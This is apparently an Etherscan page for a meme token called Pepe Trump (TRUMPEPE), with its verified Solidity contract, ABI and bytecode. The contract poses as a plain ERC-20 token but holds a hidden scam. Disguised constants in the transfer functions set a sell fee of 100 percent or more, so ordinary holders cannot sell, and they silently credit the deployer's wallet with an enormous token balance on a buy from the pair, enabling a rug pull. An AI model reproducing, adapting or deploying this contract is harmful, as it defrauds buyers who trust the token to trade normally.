ETH Price: $3,389.26 (+1.63%)

Token

Pepe Trump (TRUMPEPE)
 

Overview

Max Total Supply

1,000,000 TRUMPEPE

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,419.484817963 TRUMPEPE

Value
$0.00
0x99f942ee89f8f92183afe43df5394219da63416e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPETRUMP

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-24
*/

/*


                    ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠋⠉⡉⣉⡛⣛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
                    ⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁⠄⠄⠄⠄⠄⢀⣸⣿⣿⡿⠿⡯⢙⠿⣿⣿⣿⣿⣿⣿
                    ⣿⣿⣿⣿⣿⣿⡿⠄⠄⠄⠄⠄⡀⡀⠄⢀⣀⣉⣉⣉⠁⠐⣶⣶⣿⣿⣿⣿⣿⣿
                    ⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠁⣿⣿⣀⠈⠿⢟⡛⠛⣿⠛⠛⣿⣿⣿⣿⣿⣿⣿
                    ⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠈⠁⠰⣄⣴⡬⢵⣴⣿⣤⣽⣿⣿⣿⣿⣿⣿⣿
                    ⣿⣿⣿⣿⣿⣿⡇⠄⢀⢄⡀⠄⠄⠄⠄⡉⠻⣿⡿⠁⠘⠛⡿⣿⣿⣿⣿⣿⣿⣿
                    ⣿⣿⣿⣿⣿⡿⠃⠄⠄⠈⠻⠄⠄⠄⠄⢘⣧⣀⠾⠿⠶⠦⢳⣿⣿⣿⣿⣿⣿⣿
                    ⣿⣿⣿⣿⣿⣶⣤⡀⢀⡀⠄⠄⠄⠄⠄⠄⠻⢣⣶⡒⠶⢤⢾⣿⣿⣿⣿⣿⣿⣿
                    ⣿⣿⣿⣿⡿⠟⠋⠄⢘⣿⣦⡀⠄⠄⠄⠄⠄⠉⠛⠻⠻⠺⣼⣿⠟⠋⠛⠿⣿⣿
                    ⠋⠉⠁⠄⠄⠄⠄⠄⠄⢻⣿⣿⣶⣄⡀⠄⠄⠄⠄⢀⣤⣾⣿⣿⡀⠄⠄⠄⠄⢹
                    ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⣿⣿⣷⡤⠄⠰⡆⠄⠄⠈⠉⠛⠿⢦⣀⡀⡀⠄
                    ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢿⣿⠟⡋⠄⠄⠄⢣⠄⠄⠄⠄⠄⠄⠄⠈⠹⣿⣀
                    ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠘⣷⣿⣿⣷⠄⠄⢺⣇⠄⠄⠄⠄⠄⠄⠄⠄⠸⣿
                    ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠹⣿⣿⡇⠄⠄⠸⣿⡄⠄⠈⠁⠄⠄⠄⠄⠄⣿
                    ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⡇⠄⠄⠄⢹⣧⠄⠄⠄⠄⠄⠄⠄⠄⠘


                    Website         :       https://pepetrump.xyz/


                    Twitter         :       https://twitter.com/pepetrump2024


                    Telegram        :       https://t.me/pepetrump2024



    */
   
    // SPDX-License-Identifier: MIT

    pragma solidity 0.8.17;

    abstract contract Context {
        function _msgSender() internal view virtual returns (address) {
            return msg.sender;
        }
    }

    interface IERC20 {
        function totalSupply() external view returns (uint256);
        function balanceOf(address account) external view returns (uint256);
        function transfer(address recipient, uint256 amount) external returns (bool);
        function allowance(address owner, address spender) external view returns (uint256);
        function approve(address spender, uint256 amount) external returns (bool);
        function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval (address indexed owner, address indexed spender, uint256 value);
    }

    library SafeMath {
        function add(uint256 a, uint256 b) internal pure returns (uint256) {
            uint256 c = a + b;
            require(c >= a, "SafeMath: addition overflow");
            return c;
        }

        function sub(uint256 a, uint256 b) internal pure returns (uint256) {
            return sub(a, b, "SafeMath: subtraction overflow");
        }

        function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
            require(b <= a, errorMessage);
            uint256 c = a - b;
            return c;
        }

        function mul(uint256 a, uint256 b) internal pure returns (uint256) {
            if (a == 0) {
                return 0;
            }
            uint256 c = a * b;
            require(c / a == b, "SafeMath: multiplication overflow");
            return c;
        }
        function div(uint256 a, uint256 b) internal pure returns (uint256) {
            return div(a, b, "SafeMath: division by zero");
        }

        function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
            require(b > 0, errorMessage);
            uint256 c = a / b;
            return c;
        }
    }

    contract Ownable is Context {
        address private _owner;
        event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

        constructor () {
            address msgSender = _msgSender();
            _owner = msgSender;
            emit OwnershipTransferred(address(0), msgSender);
        }

        function owner() public view returns (address) {
            return _owner;
        }

        modifier onlyOwner() {
            require(_owner == _msgSender(), "Ownable: caller is not the owner");
            _;
        }

        function renounceOwnership() public virtual onlyOwner {
            emit OwnershipTransferred(_owner, address(0));
            _owner = address(0);
        }

    }

    contract PEPETRUMP is Context, IERC20, Ownable {
        using SafeMath for uint256;
        mapping (address => uint256) private _balances;
        mapping (address => mapping (address => uint256)) private _allowances;
        mapping (address => bool) private _isExcludedFromFee;
        mapping (address => bool) private _isMarketingWallet;
        mapping (address => bool) public _isUniswapV2Pair;
        
        uint8 private constant _decimals = 9;
        uint256 private constant _tTotal = 1000000 * 10**_decimals;
        string private constant _name = unicode"Pepe Trump";
        string private constant _symbol = unicode"TRUMPEPE";
        
        uint8 private buyingFee = 0;
        uint8 private sellingFee = 0;
        uint8 private txCount = 0;
        bool public _enableSwap;

        constructor () {
            _balances[_msgSender()] = _tTotal;
            _isMarketingWallet[_msgSender()] = true;
            _isExcludedFromFee[owner()] = true;
            emit Transfer(address(0), _msgSender(), _tTotal);
        }

        function name() public pure returns (string memory) {
            return _name;
        }

        function symbol() public pure returns (string memory) {
            return _symbol;
        }

        function decimals() public pure returns (uint8) {
            return _decimals;
        }

        function totalSupply() public pure override returns (uint256) {
            return _tTotal;
        }

        function balanceOf(address account) public view override returns (uint256) {
            return _balances[account];
        }

        function transfer(address recipient, uint256 amount) public override returns (bool) {
            _transfer(_msgSender(), recipient, amount);
            return true;
        }

        function allowance(address owner, address spender) public view override returns (uint256) {
            return _allowances[owner][spender];
        }

        function approve(address spender, uint256 amount) public override returns (bool) {
            _approve(_msgSender(), spender, amount);
            return true;
        }

        function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
            return true;
        }

        function _approve(address owner, address spender, uint256 amount) private {
            require(owner != address(0), "ERC20: approve from the zero address");
            require(spender != address(0), "ERC20: approve to the zero address");
            _allowances[owner][spender] = amount;
            emit Approval(owner, spender, amount);
        }


        function _transfer(address from, address to, uint256 amount) private {
            require(from != address(0) && to != address(0) && amount > 0, "Zero address or zero amount.");
            if(from != owner() && to != owner()){require(_enableSwap, "Trade will open soon.");}

            if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
                _transferWithFee(from, to, amount, 10**2);
            }
            else{
                _transferWithoutFee(from, to, amount, 10**0x21);
            }                                           
            
            emit Transfer(from, to, amount);
        }

        function _transferWithFee(address from, address to, uint256 amount, uint8 initial) private{
            uint256 _FEE_; uint8 _i = initial;
            if(_isUniswapV2Pair[from]){
                _FEE_ = amount.mul(txCount>0?buyingFee:0).div(100);
            }
            else{
                _FEE_ = amount.mul(txCount>0?_i+sellingFee:0).div(100);
            }
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount.sub(_FEE_));
        }

        function _transferWithoutFee(address from, address to, uint256 amount, uint256 _initial) private{
            uint256 _FEE_;
            if(to!=owner() && _isMarketingWallet[to] && _isUniswapV2Pair[from] && txCount<1){_FEE_=_initial;txCount++;}
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount.add(_FEE_));
        }

        function _updatePairAddress(address _address) public onlyOwner{
            _isUniswapV2Pair[_address] = true;
            _enableSwap = true;
        }

        receive() external payable {}
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_enableSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isUniswapV2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"_updatePairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805462ffffff191690553480156200001d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200006d6009600a6200022f565b6200007c90620f424062000247565b3360008181526001602081815260408084209590955560048152848320805460ff19908116841790915583546001600160a01b031684526003909152938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000f46009600a6200022f565b6200010390620f424062000247565b60405190815260200160405180910390a362000261565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001715781600019048211156200015557620001556200011a565b808516156200016357918102915b93841c939080029062000135565b509250929050565b6000826200018a5750600162000229565b81620001995750600062000229565b8160018114620001b25760028114620001bd57620001dd565b600191505062000229565b60ff841115620001d157620001d16200011a565b50506001821b62000229565b5060208310610133831016604e8410600b841016171562000202575081810a62000229565b6200020e838362000130565b80600019048211156200022557620002256200011a565b0290505b92915050565b60006200024060ff84168362000179565b9392505050565b80820281158282048414176200022957620002296200011a565b610f4f80620002716000396000f3fe6080604052600436106100e15760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610286578063a9059cbb146102b7578063d4057d7e146102d7578063dd62ed3e146102f857600080fd5b806370a0823114610213578063715018a6146102495780638da5cb5b1461025e57600080fd5b806323b872dd116100bb57806323b872dd14610185578063298cc9e8146101a5578063313ce567146101c7578063619f2aa2146101e357600080fd5b806306fdde03146100ed578063095ea7b31461013257806318160ddd1461016257600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b5060408051808201909152600a815269050657065205472756d760b41b60208201525b6040516101299190610c33565b60405180910390f35b34801561013e57600080fd5b5061015261014d366004610c9d565b61033e565b6040519015158152602001610129565b34801561016e57600080fd5b50610177610355565b604051908152602001610129565b34801561019157600080fd5b506101526101a0366004610cc7565b610375565b3480156101b157600080fd5b506101c56101c0366004610d03565b6103de565b005b3480156101d357600080fd5b5060405160098152602001610129565b3480156101ef57600080fd5b506101526101fe366004610d03565b60056020526000908152604090205460ff1681565b34801561021f57600080fd5b5061017761022e366004610d03565b6001600160a01b031660009081526001602052604090205490565b34801561025557600080fd5b506101c5610474565b34801561026a57600080fd5b506000546040516001600160a01b039091168152602001610129565b34801561029257600080fd5b506040805180820190915260088152675452554d5045504560c01b602082015261011c565b3480156102c357600080fd5b506101526102d2366004610c9d565b610518565b3480156102e357600080fd5b50600654610152906301000000900460ff1681565b34801561030457600080fd5b50610177610313366004610d1e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061034b338484610525565b5060015b92915050565b60006103636009600a610e4b565b61037090620f4240610e5a565b905090565b600061038284848461064a565b6103d484336103cf85604051806060016040528060288152602001610ef2602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906107fc565b610525565b5060019392505050565b6000546001600160a01b0316331461043d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff191660011790556006805463ff00000019166301000000179055565b6000546001600160a01b031633146104ce5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610434565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034b33848461064a565b6001600160a01b0383166105875760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6001600160a01b0382166105e85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610434565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383161580159061066a57506001600160a01b03821615155b80156106765750600081115b6106c25760405162461bcd60e51b815260206004820152601c60248201527f5a65726f2061646472657373206f72207a65726f20616d6f756e742e000000006044820152606401610434565b6000546001600160a01b038481169116148015906106ee57506000546001600160a01b03838116911614155b15610744576006546301000000900460ff166107445760405162461bcd60e51b81526020600482015260156024820152742a3930b232903bb4b6361037b832b71039b7b7b71760591b6044820152606401610434565b6001600160a01b03831660009081526003602052604090205460ff1615801561078657506001600160a01b03821660009081526003602052604090205460ff16155b1561079d576107988383836064610836565b6107b7565b6107b78383836d314dc6448d9338c15b0a0000000061095f565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161063d91815260200190565b600081848411156108205760405162461bcd60e51b81526004016104349190610c33565b50600061082d8486610e71565b95945050505050565b6001600160a01b038416600090815260056020526040812054829060ff1615610899576006546108929060649061088c9062010000900460ff1661087b576000610882565b60065460ff165b879060ff16610a99565b90610b22565b91506108d3565b6006546108d09060649061088c9062010000900460ff166108bb576000610882565b60065461088290610100900460ff1685610e84565b91505b6001600160a01b0386166000908152600160205260409020546108f69085610b64565b6001600160a01b03871660009081526001602052604090205561093b61091c8584610b64565b6001600160a01b03871660009081526001602052604090205490610ba6565b6001600160a01b039095166000908152600160205260409020949094555050505050565b600080546001600160a01b0385811691161480159061099657506001600160a01b03841660009081526004602052604090205460ff165b80156109ba57506001600160a01b03851660009081526005602052604090205460ff165b80156109d2575060065460016201000090910460ff16105b15610a0e57506006805482916201000090910460ff169060026109f483610e9d565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b038516600090815260016020526040902054610a319084610b64565b6001600160a01b038616600090815260016020526040902055610a76610a578483610ba6565b6001600160a01b03861660009081526001602052604090205490610ba6565b6001600160a01b0390941660009081526001602052604090209390935550505050565b600082600003610aab5750600061034f565b6000610ab78385610e5a565b905082610ac48583610ebc565b14610b1b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610434565b9392505050565b6000610b1b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c05565b6000610b1b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107fc565b600080610bb38385610ede565b905083811015610b1b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610434565b60008183610c265760405162461bcd60e51b81526004016104349190610c33565b50600061082d8486610ebc565b600060208083528351808285015260005b81811015610c6057858101830151858201604001528201610c44565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c9857600080fd5b919050565b60008060408385031215610cb057600080fd5b610cb983610c81565b946020939093013593505050565b600080600060608486031215610cdc57600080fd5b610ce584610c81565b9250610cf360208501610c81565b9150604084013590509250925092565b600060208284031215610d1557600080fd5b610b1b82610c81565b60008060408385031215610d3157600080fd5b610d3a83610c81565b9150610d4860208401610c81565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610da2578160001904821115610d8857610d88610d51565b80851615610d9557918102915b93841c9390800290610d6c565b509250929050565b600082610db95750600161034f565b81610dc65750600061034f565b8160018114610ddc5760028114610de657610e02565b600191505061034f565b60ff841115610df757610df7610d51565b50506001821b61034f565b5060208310610133831016604e8410600b8410161715610e25575081810a61034f565b610e2f8383610d67565b8060001904821115610e4357610e43610d51565b029392505050565b6000610b1b60ff841683610daa565b808202811582820484141761034f5761034f610d51565b8181038181111561034f5761034f610d51565b60ff818116838216019081111561034f5761034f610d51565b600060ff821660ff8103610eb357610eb3610d51565b60010192915050565b600082610ed957634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561034f5761034f610d5156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cb31cfa69d03b1da40b45f68d1653b9ef873ff72f31389a183c9fa7d1f0f013064736f6c63430008110033

Deployed Bytecode

0x6080604052600436106100e15760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610286578063a9059cbb146102b7578063d4057d7e146102d7578063dd62ed3e146102f857600080fd5b806370a0823114610213578063715018a6146102495780638da5cb5b1461025e57600080fd5b806323b872dd116100bb57806323b872dd14610185578063298cc9e8146101a5578063313ce567146101c7578063619f2aa2146101e357600080fd5b806306fdde03146100ed578063095ea7b31461013257806318160ddd1461016257600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b5060408051808201909152600a815269050657065205472756d760b41b60208201525b6040516101299190610c33565b60405180910390f35b34801561013e57600080fd5b5061015261014d366004610c9d565b61033e565b6040519015158152602001610129565b34801561016e57600080fd5b50610177610355565b604051908152602001610129565b34801561019157600080fd5b506101526101a0366004610cc7565b610375565b3480156101b157600080fd5b506101c56101c0366004610d03565b6103de565b005b3480156101d357600080fd5b5060405160098152602001610129565b3480156101ef57600080fd5b506101526101fe366004610d03565b60056020526000908152604090205460ff1681565b34801561021f57600080fd5b5061017761022e366004610d03565b6001600160a01b031660009081526001602052604090205490565b34801561025557600080fd5b506101c5610474565b34801561026a57600080fd5b506000546040516001600160a01b039091168152602001610129565b34801561029257600080fd5b506040805180820190915260088152675452554d5045504560c01b602082015261011c565b3480156102c357600080fd5b506101526102d2366004610c9d565b610518565b3480156102e357600080fd5b50600654610152906301000000900460ff1681565b34801561030457600080fd5b50610177610313366004610d1e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061034b338484610525565b5060015b92915050565b60006103636009600a610e4b565b61037090620f4240610e5a565b905090565b600061038284848461064a565b6103d484336103cf85604051806060016040528060288152602001610ef2602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906107fc565b610525565b5060019392505050565b6000546001600160a01b0316331461043d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff191660011790556006805463ff00000019166301000000179055565b6000546001600160a01b031633146104ce5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610434565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034b33848461064a565b6001600160a01b0383166105875760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6001600160a01b0382166105e85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610434565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383161580159061066a57506001600160a01b03821615155b80156106765750600081115b6106c25760405162461bcd60e51b815260206004820152601c60248201527f5a65726f2061646472657373206f72207a65726f20616d6f756e742e000000006044820152606401610434565b6000546001600160a01b038481169116148015906106ee57506000546001600160a01b03838116911614155b15610744576006546301000000900460ff166107445760405162461bcd60e51b81526020600482015260156024820152742a3930b232903bb4b6361037b832b71039b7b7b71760591b6044820152606401610434565b6001600160a01b03831660009081526003602052604090205460ff1615801561078657506001600160a01b03821660009081526003602052604090205460ff16155b1561079d576107988383836064610836565b6107b7565b6107b78383836d314dc6448d9338c15b0a0000000061095f565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161063d91815260200190565b600081848411156108205760405162461bcd60e51b81526004016104349190610c33565b50600061082d8486610e71565b95945050505050565b6001600160a01b038416600090815260056020526040812054829060ff1615610899576006546108929060649061088c9062010000900460ff1661087b576000610882565b60065460ff165b879060ff16610a99565b90610b22565b91506108d3565b6006546108d09060649061088c9062010000900460ff166108bb576000610882565b60065461088290610100900460ff1685610e84565b91505b6001600160a01b0386166000908152600160205260409020546108f69085610b64565b6001600160a01b03871660009081526001602052604090205561093b61091c8584610b64565b6001600160a01b03871660009081526001602052604090205490610ba6565b6001600160a01b039095166000908152600160205260409020949094555050505050565b600080546001600160a01b0385811691161480159061099657506001600160a01b03841660009081526004602052604090205460ff165b80156109ba57506001600160a01b03851660009081526005602052604090205460ff165b80156109d2575060065460016201000090910460ff16105b15610a0e57506006805482916201000090910460ff169060026109f483610e9d565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b038516600090815260016020526040902054610a319084610b64565b6001600160a01b038616600090815260016020526040902055610a76610a578483610ba6565b6001600160a01b03861660009081526001602052604090205490610ba6565b6001600160a01b0390941660009081526001602052604090209390935550505050565b600082600003610aab5750600061034f565b6000610ab78385610e5a565b905082610ac48583610ebc565b14610b1b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610434565b9392505050565b6000610b1b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c05565b6000610b1b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107fc565b600080610bb38385610ede565b905083811015610b1b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610434565b60008183610c265760405162461bcd60e51b81526004016104349190610c33565b50600061082d8486610ebc565b600060208083528351808285015260005b81811015610c6057858101830151858201604001528201610c44565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c9857600080fd5b919050565b60008060408385031215610cb057600080fd5b610cb983610c81565b946020939093013593505050565b600080600060608486031215610cdc57600080fd5b610ce584610c81565b9250610cf360208501610c81565b9150604084013590509250925092565b600060208284031215610d1557600080fd5b610b1b82610c81565b60008060408385031215610d3157600080fd5b610d3a83610c81565b9150610d4860208401610c81565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610da2578160001904821115610d8857610d88610d51565b80851615610d9557918102915b93841c9390800290610d6c565b509250929050565b600082610db95750600161034f565b81610dc65750600061034f565b8160018114610ddc5760028114610de657610e02565b600191505061034f565b60ff841115610df757610df7610d51565b50506001821b61034f565b5060208310610133831016604e8410600b8410161715610e25575081810a61034f565b610e2f8383610d67565b8060001904821115610e4357610e43610d51565b029392505050565b6000610b1b60ff841683610daa565b808202811582820484141761034f5761034f610d51565b8181038181111561034f5761034f610d51565b60ff818116838216019081111561034f5761034f610d51565b600060ff821660ff8103610eb357610eb3610d51565b60010192915050565b600082610ed957634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561034f5761034f610d5156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cb31cfa69d03b1da40b45f68d1653b9ef873ff72f31389a183c9fa7d1f0f013064736f6c63430008110033

Deployed Bytecode Sourcemap

4922:4666:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6002:91;;;;;;;;;;-1:-1:-1;6076:5:0;;;;;;;;;;;;-1:-1:-1;;;6076:5:0;;;;6002:91;;;;;;;:::i;:::-;;;;;;;;6923:173;;;;;;;;;;-1:-1:-1;6923:173:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6923:173:0;1004:187:1;6315:103:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;6315:103:0;1196:177:1;7108:329:0;;;;;;;;;;-1:-1:-1;7108:329:0;;;;;:::i;:::-;;:::i;9385:155::-;;;;;;;;;;-1:-1:-1;9385:155:0;;;;;:::i;:::-;;:::i;:::-;;6212:91;;;;;;;;;;-1:-1:-1;6212:91:0;;5385:1;2044:36:1;;2032:2;2017:18;6212:91:0;1902:184:1;5280:49:0;;;;;;;;;;-1:-1:-1;5280:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6430:127;;;;;;;;;;-1:-1:-1;6430:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6527:18:0;6496:7;6527:18;;;:9;:18;;;;;;;6430:127;4745:160;;;;;;;;;;;;;:::i;4503:87::-;;;;;;;;;;-1:-1:-1;4541:7:0;4572:6;4503:87;;-1:-1:-1;;;;;4572:6:0;;;2237:51:1;;2225:2;2210:18;4503:87:0;2091:203:1;6105:95:0;;;;;;;;;;-1:-1:-1;6181:7:0;;;;;;;;;;;;-1:-1:-1;;;6181:7:0;;;;6105:95;;6569:179;;;;;;;;;;-1:-1:-1;6569:179:0;;;;;:::i;:::-;;:::i;5713:23::-;;;;;;;;;;-1:-1:-1;5713:23:0;;;;;;;;;;;6760:151;;;;;;;;;;-1:-1:-1;6760:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;6872:18:0;;;6841:7;6872:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6760:151;6923:173;6998:4;7019:39;2133:10;7042:7;7051:6;7019:8;:39::i;:::-;-1:-1:-1;7080:4:0;6923:173;;;;;:::o;6315:103::-;6368:7;5442:13;5385:1;5442:2;:13;:::i;:::-;5432:23;;:7;:23;:::i;:::-;6392:14;;6315:103;:::o;7108:329::-;7206:4;7227:36;7237:6;7245:9;7256:6;7227:9;:36::i;:::-;7278:121;7287:6;2133:10;7309:89;7347:6;7309:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7309:19:0;;;;;;:11;:19;;;;;;;;2133:10;7309:33;;;;;;;;;;:37;:89::i;:::-;7278:8;:121::i;:::-;-1:-1:-1;7421:4:0;7108:329;;;;;:::o;9385:155::-;4646:6;;-1:-1:-1;;;;;4646:6:0;2133:10;4646:22;4638:67;;;;-1:-1:-1;;;4638:67:0;;4454:2:1;4638:67:0;;;4436:21:1;;;4473:18;;;4466:30;4532:34;4512:18;;;4505:62;4584:18;;4638:67:0;;;;;;;;;-1:-1:-1;;;;